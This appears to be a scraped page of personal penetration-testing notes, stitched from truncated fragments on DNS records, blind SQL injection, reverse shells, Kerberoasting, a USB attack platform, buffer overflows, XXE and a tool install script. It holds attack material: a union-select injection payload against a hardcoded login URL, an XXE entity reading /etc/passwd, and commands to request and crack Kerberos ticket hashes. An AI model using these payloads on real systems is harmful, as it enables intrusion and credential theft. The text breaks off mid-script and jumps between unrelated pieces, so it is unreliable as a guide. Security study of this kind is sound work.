AvasDream

Reconnaissance

DNS Recon

DNS Record Types:

A (Host address)
AAAA (IPv6 host address)
ALIAS (Auto resolved alias)

Blind boolean based union sql injection bruteforcing

# !/usr/bin/python3
import requests
import timeit

start = timeit.default_timer()
URL = "http://35.227.24.107:5001/b3838cbb72/login"
QUERY = "admin' union select password from admins where id=1 and password like \""

Create msf rc file for standard msfvenom binaries

function revshell() {
# $1 language
# Default tun0 1337

INF=tun0
PORT=1337

From upper to lowercase

cat string | tr '[:upper:]' '[:lower:]

Cut spaces from string

tr -d ' '

Windows Kerber roasting

Only possible with valid credentials and kerberos.

GetUserSPNs.py -request -dc-ip IP DOMAIN/USER

Retreive Hash with impacket.

hashcat -m 13100 --force -a 0 keberos_hash /usr/share/wordlists/rockyou.txt

Project

P4wnP1 is a highly customizable USB attack platform, based on a low cost Raspberry Pi Zero or Raspberry Pi Zero W (required for HID backdoor). Link to Repository

Intsallation

Copy image to sd card

dd if=<Source> of=<destination> bs=512 status=progress

Script for easier installation of Kali tools

Missing Browser Extensions!

Built with
Foxy Proxy
Cache Cleaner
Adblocker

Manual execution of install Scripts for Veil and Empire needed.

#! /bin/bash

Introduction

To better grasp the understanding of Bufferoverflows I decided to make and document some exercises with this topic.

The exploit exercises are mainly from exploit-exercises.com.

Stackoverflow - When the execution stack grows beyond the memory that is reserved for it

Bufferoverflow - When a programm writes beyond the end of the memory allocated for any buffer (Heap & Stack).

Basics

Source

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
    <user>&xxe;</user>
 mypass

	#!/bin/bash

	version=4.0.2
	echo "execute with sudo privileges"
	sudo true
	echo "Install GCC"
	sudo apt install gcc -y > /dev/null
	echo "Install make"
	sudo apt install make -y > /dev/null
	echo "install postgresql server"